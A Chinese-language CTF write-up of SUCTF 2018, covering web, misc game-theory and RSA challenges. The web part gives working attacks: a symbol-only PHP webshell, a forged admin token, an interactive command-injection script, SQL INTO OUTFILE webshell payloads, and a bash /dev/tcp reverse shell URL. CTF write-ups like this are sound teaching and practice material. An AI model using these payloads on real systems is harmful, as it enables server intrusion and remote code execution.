SUCTF 2018 部分题解

SUCTF 部分题解

这周末跟着打了一下suctf,不过其实是比较想跟着打打0ctf的,之后再说了.这次比赛crypto和misc有点多,而且普遍偏向于加解密,对我这种弃坑crypto的可以说很不友好了.

WEB Anonymous

直接源码

<?php
$MY = create_function("","die(`cat flag.php`);");
$hash = bin2hex(openssl_random_pseudo_bytes(32));
eval("function SUCTF_$hash(){"
    ."global \$MY;"
    ."\$MY();"
    ."}");
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
}
show_source(__FILE__);
?>

这个题是考一个匿名函数的,之前hitcon2017的那个php考过了,就是create_function创建的是匿名函数,而匿名函数也是有名字的,名字是\x00lambda_%d,其中%d代表他是当前进程中的第几个匿名函数,直接burp开启跑就行了

suctf2018

WEB Getshell

有个上传点,过滤如下:

if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
}

burp跑了一下fuzz,ascii码128以内的字符得到如下可用字符: $().;=[]_~ 也就是说要用着几种字符构造一个webshell, 简单分析下其中只有三个运算符,一个赋值运算符,一个字符串连接符,还有一个非运算符, 所以思路也就基本只有用非运算符来构造出可用字符这一条路,最后shell如下:

$_=[];
$__=$_.$_;
$_=($_==$__);
$__=($_==$_);
$___=[~][$_][$__].[~][$_][$__].[~][$_][$__].[~][$_][$__].[~][$_][$__].[~][$_][$__];
$____=[~][$_][$__].[~][$_][$__].[~][$_][$__].[~][$_][$__].[~][$_][$__];
$___([$$____][$_][____________________________________]);

等效于assert($_POST[____________________________________]); 上传成功getshell

WEB HateIT

首先扫一下发现有git泄露,和robots.txt(这个后来放成了hint了),里面提示了一个.so,直接访问就能下载下来,然后git恢复出来有三个乱码phpadmin.php,class.php,func.php,和一个opcode.txt.

这个题蛮坑的,花了两个半小时从opcode里面把index.phpfunc.phpclass.php手动恢复了出来,伪造了一哈进admin,发现一片空白,然后想起来那个几个乱码php没解,然后让simple师傅看.so,半小时simple师傅就把三个php恢复了,白白浪费我这么久时间去恢复那么大的func.phpclass.php 贴一下主要的代码:

index.php

<?php
if(!$_SESSION)
    session_start()
....
....
....
//!0 = $username, !1 = $md5, !2 = $admin, !3 = $token, !4 = $sign, !5 = $info
include_once('func.php');

if($_GET['username']){
    $username=$_GET['username'];
    $md5=md5(get_identify().$username);
    $admin=0;
    $token=encrypt($username."|".$admin."|".$md5);
    $_SESSION['sign']=$md5;
    $_SESSION['token']=$token;
}
showImage();
if(isset($_GET['token'])&&isset($_GET['sign'])){
    $token=$_GET['token'];
    $sign=$_GET['sign'];
    echo "sign : ".$sign ."<br>";
    echo "token: ".$token ."<br>";
    $info=explode('|',decrypt($token));
    echo decrypt($token);
    var_dump($info);
    if(count($info)==3){
        if(info[2]==md5(get_identify().$info[0]) || ($sign=$info[1])){
            $admin=(int)$info[1];
        }
    }
    else{
        exit();
    }
}
if(isset($_SESSION['token'])&&
    isset($_SESSION['sign'])){
    echo "sign : ".$_SESSION['sign']."<br>";
    echo "token: ".$_SESSION['token'] ."<br>";
    $token=$_SESSION['token'];
    $sign=$_SESSION['sign'];
    $info=explode('|',decrypt($token));
    if(count($info)==3){
        if((info[2]==md5(get_identify().$info[0])) || ($sign=$info[1])){
            $admin=(int)$info[1];
            echo "<br>".$admin;
        }
    }
}
if(isset($admin)&&$admin==3){
    $_SESSION['auth']='admin';
    echo "<a+href='admin.php'>Admin</a>";
}
?>

func.php的代码如下:

<?php
/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2018/2/2
 * Time: 下午9:25
 */
include "class.php";
define("KEY","8690475385984657");
define("method","aes-128-cfb");
define("BS",16);
define("IDENTIFY","9850375038");

function get_token(){
    $token = '';
    for($i=0;$i<16;$i++){
        $token .= chr(rand(1,255));
    }
    return $token;
}
function enc($s){
    $token = get_token();
    $code1 = openssl_encrypt(string($s),method,key,OPENSSL_RAW_DATA,$token);
    $code2 = base64_encode(base64_encode($token."-".$code1));
    return $code2;
}
function dec($s)
{
    if($cc = base64_decode(base64_decode($s)))
    {
        if($iv = substr($cc,0,16))
        {
            if($d = substr($cc,17))
            {
                if($s = openssl_decrypt($d, method, key, OPENSSL_RAW_DATA,$iv))
                {
                    return $s;
                }
                else
                    die("error");
            }
            else
                return 0;
        }
        else
            return 0;
    }
    else
        return 0;
}

function uploadImage(){
    if($_SESSION['auth'] !== "admin"){
        die("Auth Failed");
    }
    $AllowedType = array(
        "png",
        "gif",
        "jpg"
    );
    $filename = $_FILES['file']['name'];
    $filesize = $_FILES['file']['size'];
    if($filesize > 1000000){
        exit("Too large");
    }
    $fileext = substr($filename, strrpos($filename, '.')+1);
    if(in_array($fileext,$AllowedType)){
        $file = "thumbs/images/".md5(time()."admin").".".$fileext;
        if(file_exists($file)){
            exit("File existed already");
        }else{
            move_uploaded_file($_FILES['file']['tmp_name'],$file);
        }
    }else{
        exit("Not Allowed Ext");
    }
}
function viewImage($name){
    if($_SESSION['auth'] !== "admin"){
        die("Auth Failed");
    }
    new ImageView($name);
}
function showImage(){
    $obj = new Home("thumbs/images/");
    $obj->showImg();

}
function to($str) {
    return $str . str_repeat(chr(BS - strlen($str) % BS), (BS - strlen($str) % BS));
}
function re($str) {
    return substr($str, 0, -ord(substr($str, -1, 1)));
}
function getkey(){
    return KEY;
}
function get_identify(){
    return IDENTIFY;
}
function encrypt($str){
    $key = getkey();
    srand(time() / 300);
    $token = get_token();
    $cipher = bin2hex(mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, to($str), MCRYPT_MODE_CFB, $token));
    return base64_encode($cipher);
}
function decrypt($str){
    $decode = base64_decode($str);
    $key = getkey();
    srand(time() / 300);
    $token = get_token();
    $bin = hex2bin($str);
    $plain = re(mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key,$bin , MCRYPT_MODE_CFB, $token));
    return $plain;
}
?>

既然有了KEYIDENTIFY那就可以随便构造了 而且加解密时候srand的种子是time()/300,srand要求参数是整数,也就意味着,每300s才会变一次, 根据index.php的代码,只要解密成功并且$admin=3就能变成admin了

所以我们直接构造一个密文就好了

$username='bendawang';
$md5=md5(get_identify().$username);
$admin=3;
$token=encrypt($username."|".$admin."|".$md5);
print $token."\n";

解密之后输入token和sign,变成admin,然后进入到admin.php admin.php源码如下:

<?php
/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2018/2/2
 * Time: ����9:38
 */
session_start();
if($_SESSION['auth']!=="admin"){
    die("Auth Failed!");
}
include "func.php";
if(isset($_GET['action'])){
    $action = $_GET['action'];
    if($action == "uploadImage"){
        include_once "template/upload.php";
        if(isset($_FILES['file'])){
            uploadImage();
        }
    }elseif ($action == "viewImage"){
        $file = isset($_GET['file'])?$_GET['file']:"23.jpg";
        viewImage($file);
    }
}

func.php中的uploadImage函数暂时没有什么大问题,不过另一个函数viewImage实例化的一个ImageView类,跟进看一下 class.php如下:

<?php
/**
 * Created by PhpStorm.
 * User: meizj
 * Date: 2018/2/2
 * Time: ����11:00
 */
class ImageView{
    private $filename = "";
    function __construct($name){
        $this->filename = "images/$name";
        $this->createThumbnail();
    }
    function createThumbnail(){
        $e = stripcslashes(preg_replace('/[^0-9\\\]/','',isset($_GET['size'])?$_GET['size']:25));
        system("/usr/bin/convert {$this->filename} --resize $e ./thumbs/{$this->filename}");
    }
    function __toString()
    {
        // TODO: Implement __toString() method.
        return "<a href={$this->filename}>
                <img src=./thumbs/{$this->filename}></a>";
    }
}

class Home{
    private $dir = "";
    public function __construct($dir){
        $this->dir = $dir;
    }
    public function showImg(){
        $files = $this->getDirFile($this->dir);
        foreach ($files as $file){
            echo "<img src=$file>";
        }
    }
    public function getDirFile($dir){
        $files = array();
        if(!is_dir($dir)) {
            return $files;
        }
        $handle = opendir($dir);
        if($handle) {
            while(false !== ($file = readdir($handle))) {
                if ($file != '.' && $file != '..') {
                    $filename = $dir . "/"  . $file;
                    if(is_file($filename)) {

                            $files[] = $filename;

                    }else {
                        $files = array_merge($files, get_files($filename));
                    }
                }
            }   //  end while
            closedir($handle);
        }
        return $files;
    }

}

看到createThumbnail函数中的system相当可疑啊,加上size可控,size可以输入反斜杠和数字,这样我们很容易想到php的八进制

suctf2018_1

;ls;转换成8进制赋给size,成功执行,那就很简单了,写个脚本:

import requests
session = requests.Session()

def conn(strr):
    ans=""
    for i in strr:
        ans+="\\"+oct(ord(i))[1:]
    return ans

def hack(commond):
    paramsGet = {"action":"viewImage","file":"123","size":commond}
    headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0","Connection":"close","Accept-Language":"zh,en-US;q=0.7,en;q=0.3","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1"}
    cookies = {"PHPSESSID":"vlfbcnniha6f45v92qu4ghq2h2"}
    response = session.get("http://web.suctf.asuri.org:83/admin.php", params=paramsGet, headers=headers, cookies=cookies)
    print response.content

while True:
    commond=raw_input('>>>')
    tmp=conn(";"+commond+";")
    hack(tmp)

suctf2018_2

WEB MultiSql

这个题比赛的时候没有做出来也是蛮遗憾蛮可惜的.

上去之后进过一番测试,发现上传点它会直接把你的文件转成jpg后缀,无法直接利用. id那里有一个数字类型的注入,但是过滤了一些关键字 and,union,select,substr,order,where,&等等,同样用户名也被过滤了,这些会被替换成@@,id那里可以同表盲注入拿一些数据之类的,不过用途不大. 另外username会被转移,考虑到username也被过滤了,加上题目是multisql,猜测是个二次注入,而唯一的可能性的点就在username处,提示又说是要getshell,而唯一的思路便是mysql文件读写了,再加上二次注入的话,poc如下:

bdw' into outfile '/var/www/html/favicon/bdw.php'#

成功写入了文件

suctf2018_3

所以服务器上的二次注入语句肯定就是select * from xxx where username = '用户名'

那思路就很清晰了,先注册一个用户名为:<?php eval($_POST[bdw]);?>,

在注册一个用户名为:<?php eval($_POST[bdw]);?>' into outfile '/var/www/html/favicon/bdw.php'#

然后以第二个登录就能成功getshell,结果以第二个登陆的时候说用户名密码错误, 然后经过一番调整发现是长度问题,数据库里面的username长度是60,所以注册的时候被截断了,然后无法登录成功,所以我们要把poc缩短到60,一番调整之后缩短为了

<?php `$_GET[a]`;?>'into outfile'/var/www/html/favicon/5.php

刚刚好60字节,然后访问http://web.suctf.asuri.org:85/favicon/5.php?a=bash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp/ip/port 0%3C%261%202%3E%261%22 成功反弹shell

suctf2018_4

ps:后来才知道预期做法是用变量预处理然后多语句执行 贴个poc

> http://web.suctf.asuri.org:85/user/user.php?id=22727;set @s=CHAR(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,98,100,119,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,109,121,115,104,101,108,108,46,112,104,112,39,59);prepare s2 from @s;execute s2;

WEB homework

比赛时候没做出来,赛后要了官方的wp,看了之后不想补了…………………

Misc

其它的懒得摘过来了,就主要写写Game这个题的题解好了,由于被simple嘲笑说我是acm太菜了才来打ctf(好吧确实是),我决定不争萝卜争口气也要把它做了.

这个题要有三步,第一步是个标准的巴什博弈,也就是只有一堆石子,两人轮流取,最少取一个,最多取m个,最后去完者为胜。

  • 1.当石子个数n=0时为必败点;
  • 2.当石子个数0<n<=m时为必胜点;(可以到状态1)
  • 3.当石子个数n=m+1时为必败点;(只能到达状态2)
  • 4.当石子个数m+1<n<=(m+1)+m时为必胜点;(可以到达状态3)
  • 5.当石子个数n=(m+1)+m+1时为必败点;(只能到达状态4)

故当n为m+1的整数倍时为必败点,这是判断GG的条件 然后每一步我们只需要保持取完之后剩下的是(m+1)的整数倍就赢定了,所以第一步取n%(m+1)就行了,之后就取(m+1-k)就行了,k是电脑取的数目

然后进入第二步,威佐夫博弈,这个我就不在这里贴了,给一个比较全面的链接好了 :威佐夫博弈总结

根据其中的描述直接代码实现就好了,然后包装一下发送就行了,如下:

def weizuofu(a,b):
    if (a==b) or (a==0) or (b==0):
        return 100,100
    sq5 = math.sqrt(5.0)
    k = b - a
    ak = int(k * (sq5 + 1) / 2)
    bk = ak + k
    if (ak == a) and (bk == b):
        return -1,-1
    elif (a > ak) and (b > bk):
        return b - bk,2
    else:
        for i in range(b):
            newa = a
            newb = b - i
            if newa > newb:
                newa,newb = newb,newa
            newk = newb - newa
            sa = int(newk * (sq5 + 1) / 2)
            sb = sa + newk
            if (sa == newa) and (sb == newb):
                return i,1
                break
def get_res(a,b):
    flag=0
    if a>b:
        a,b=b,a
        flag=1
    x,y = weizuofu(a,b)
    if x == 100 and y == 100:
        if a!=0 and b!=0:
            return str(a)+" "+str(2)
        if b==0:
            if flag==1:
                return str(a)+" "+str(1)
            return str(a)+" "+str(0)
        if a==0:
            if flag==1:
                return str(b)+" "+str(0)
            return str(b)+" "+str(1)
    elif x == -1 and y == -1:
        return 'GG'
    else:
        if y==1:
            if flag==1:
                return str(x)+" "+str(1-(y))
            return str(x)+" "+str(y)
        else:
            return str(x)+" "+str(y)

可以说代码写的相当丑陋了,不过能做就行了,毕竟那天肝到了两点也没心情改格式了2333

最后一部是nim博弈这个比较简单了,同样退一篇文章尼姆博弈

代码如下:

def nim(tmp):
    piles=[]
    for i in tmp:
        piles.append(int(i))
    s=piles[0]^piles[1]^piles[2]^piles[3]^piles[4]
    if s==0:
        return 'GG'
    else:
        for i in xrange(len(piles)):
            yk=s^piles[i]
            if piles[i]>=yk:
                return str(piles[i]-yk)+" "+str(i)

最后汇总的代码如下,格式相等难看了233333不过不影响:

# -*- coding: utf-8 -*-

from pwn import *
import hashlib
from base64 import b64decode as b64d
from base64 import b64encode as b64e
import re
import math
context.log_level='debug'
n=""
step=1
cnt=0

def sha256(str):
    m = hashlib.sha256()
    m.update(str)
    return m.hexdigest()

def brute(key,hashs):
    dic='abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM1234567890'
    for i in dic:
        for j in dic:
            for k in dic:
                for m in dic:
                    stri = i+j+k+m
                    if sha256(key+(stri)) == hashs:
                        return stri


def weizuofu(a,b):
    if (a==b) or (a==0) or (b==0):
        return 100,100
    sq5 = math.sqrt(5.0)
    k = b - a
    ak = int(k * (sq5 + 1) / 2)
    bk = ak + k
    if (ak == a) and (bk == b):
        return -1,-1
    elif (a > ak) and (b > bk):
        return b - bk,2
    else:
        for i in range(b):
            newa = a
            newb = b - i
            if newa > newb:
                newa,newb = newb,newa
            newk = newb - newa
            sa = int(newk * (sq5 + 1) / 2)
            sb = sa + newk
            if (sa == newa) and (sb == newb):
                return i,1
                break
def get_res(a,b):
    flag=0
    if a>b:
        a,b=b,a
        flag=1
    x,y = weizuofu(a,b)
    if x == 100 and y == 100:
        if a!=0 and b!=0:
            return str(a)+" "+str(2)
        if b==0:
            if flag==1:
                return str(a)+" "+str(1)
            return str(a)+" "+str(0)
        if a==0:
            if flag==1:
                return str(b)+" "+str(0)
            return str(b)+" "+str(1)
    elif x == -1 and y == -1:
        return 'GG'
    else:
        if y==1:
            if flag==1:
                return str(x)+" "+str(1-(y))
            return str(x)+" "+str(y)
        else:
            return str(x)+" "+str(y)

def nim(tmp):
    piles=[]
    for i in tmp:
        piles.append(int(i))
    s=piles[0]^piles[1]^piles[2]^piles[3]^piles[4]
    if s==0:
        return 'GG'
    else:
        for i in xrange(len(piles)):
            yk=s^piles[i]
            if piles[i]>=yk:
                return str(piles[i]-yk)+" "+str(i)



def start(io):
    global n,step,cnt
    if cnt>=41:
        a=io.recvuntil('nd ')
        a=io.recvuntil('\n')
        a=io.recvline()
        res=re.findall("Piles: (.*?) (.*?) (.*?) (.*?) (.*?)\n",a)
        tmp=res[0]
        piles=[]
        for i in tmp:
            piles.append(int(i))
        s=piles[0]^piles[1]^piles[2]^piles[3]^piles[4]
        if s==0:
            io.sendline('GG')
            return 0
        else:
            for i in xrange(len(piles)):
                yk=s^piles[i]
                if piles[i]>=yk:
                    io.sendline(str(piles[i]-yk)+" "+str(i))
                    return 3

    a=io.recvuntil('Your turn: \n')
    if "I think you can try something difficult" in a:
        step=2
    if "Incredible" in a:
        step=3

    if step==1:
        res=re.findall("There are (.*?) stones,.*?pick 1 - (.*?) ",a)
        m=int(res[0][0])
        n=int(res[0][1])
        if m%(n+1)!=0:
            io.sendline(str(m%(n+1)))
            return 1
        else:
            io.sendline('GG')
            return 0
    if step==2:
        res=re.findall("Piles: (.*?) (.*?)\n",a)
        a=int(res[0][0])
        b=int(res[0][1])
        res=get_res(a,b)
        io.sendline(res)
        if res=='GG':
            return 0
        else:
            return 2
    if step==3:
        res=re.findall("Piles: (.*?) (.*?) (.*?) (.*?) (.*?)\n",a)
        tmp=res[0]
        piles=[]
        for i in tmp:
            piles.append(int(i))
        s=piles[0]^piles[1]^piles[2]^piles[3]^piles[4]
        if s==0:
            io.sendline('GG')
            return 0
        else:
            for i in xrange(len(piles)):
                yk=s^piles[i]
                if piles[i]>=yk:
                    io.sendline(str(piles[y]-yk)+" "+i)
                    return 3


def pick(io):
    global n
    a=io.recvuntil('Your turn: \n')
    res=re.findall("ick (.*?)!\n(.*?)stones left\n",a)
    k=int(res[0][0])
    m=int(res[0][1])
    io.sendline(str(n-k+1))

def pick2(io):
    a=io.recvuntil('Your turn: \n')
    res=re.findall("es: (.*?) (.*?)\n",a)
    a=int(res[0][0])
    b=int(res[0][1])
    res=get_res(a,b)
    io.sendline(res)

def pick3(io):
    a=io.recvuntil('\n')
    a=io.recvuntil('\n')
    print a
    res=re.findall("es: (.*?) (.*?) (.*?) (.*?) (.*?)\n",a)
    tmp=res[0]
    piles=[]
    for i in tmp:
        piles.append(int(i))
    s=piles[0]^piles[1]^piles[2]^piles[3]^piles[4]
    if s==0:
        io.sendline('GG')
        return 0
    else:
        for i in xrange(len(piles)):
            yk=s^piles[i]
            if piles[i]>=yk:
                io.sendline(str(piles[i]-yk)+" "+str(i))
                return 1


io=remote("116.62.201.224",10000)
io.recvuntil('Prove your heart!\n')
a=io.recvline()
res=re.findall("sha256\((.*?) \+ .*?\) == (.*?)\n",a)
stri=brute(res[0][0],res[0][1])
io.sendline(stri)
while 1:
    cnt+=1
    flag=start(io)
    if flag==0:
        print 'failed'
        continue
    if flag==1:
        while 1:
            judge=io.recv(3)
            if 'You' in judge:
                break
            else:
                pick(io)
    if flag==2:
        while 1:
            judge=io.recv(3)
            if 'You' in judge:
                break
            else:
                pick2(io)

    if flag==3:
        while 1:
            judge=io.recv(3)
            if 'You' in judge:
                break
            else:
                if pick3(io)==0:
                    break

io.interactive()

Crypto 2道RSA

很久不做crypto辣…写一下思路 第一个先求模逆,再解密 第二个直接分解n就可以了,虽然是2048位的,但是有一个质数很小为7,可以直接分解,然后求出私钥,解密就完了.